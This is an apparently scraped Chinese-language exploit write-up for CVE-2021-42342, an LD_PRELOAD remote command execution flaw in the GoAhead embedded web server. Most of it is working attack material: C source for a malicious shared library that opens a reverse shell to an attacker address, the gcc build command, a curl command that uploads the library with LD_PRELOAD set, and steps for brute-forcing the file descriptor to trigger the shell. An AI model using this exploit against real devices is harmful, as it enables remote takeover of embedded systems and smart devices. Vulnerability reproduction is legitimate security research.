# Goahead LD_PRELOAD 远程命令执行漏洞 CVE-2021-42342
# 漏洞描述
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。
这个漏洞是 CVE-2017-17562 漏洞补丁的绕过,攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量,进而劫持LD_PRELOAD来执行任意代码。
# 漏洞影响
# 网络测绘
# 漏洞复现
使用Vulnhub下的靶场进行搭建
编译恶意 so 文件
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
gcc evil.c -fPIC -s -shared -o evil.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
发送 evil.so 恶意文件
curl -v -F data=@evil.so -F "LD_PRELOAD=/proc/self/fd/0" http://xxx.xxx.xxx.xxx:8080/cgi-bin/hello
1
发送请求后抓包将Content-Length
设置成小于最终的数据包Body大小,并爆破 /proc/self/fd/1 反弹 shell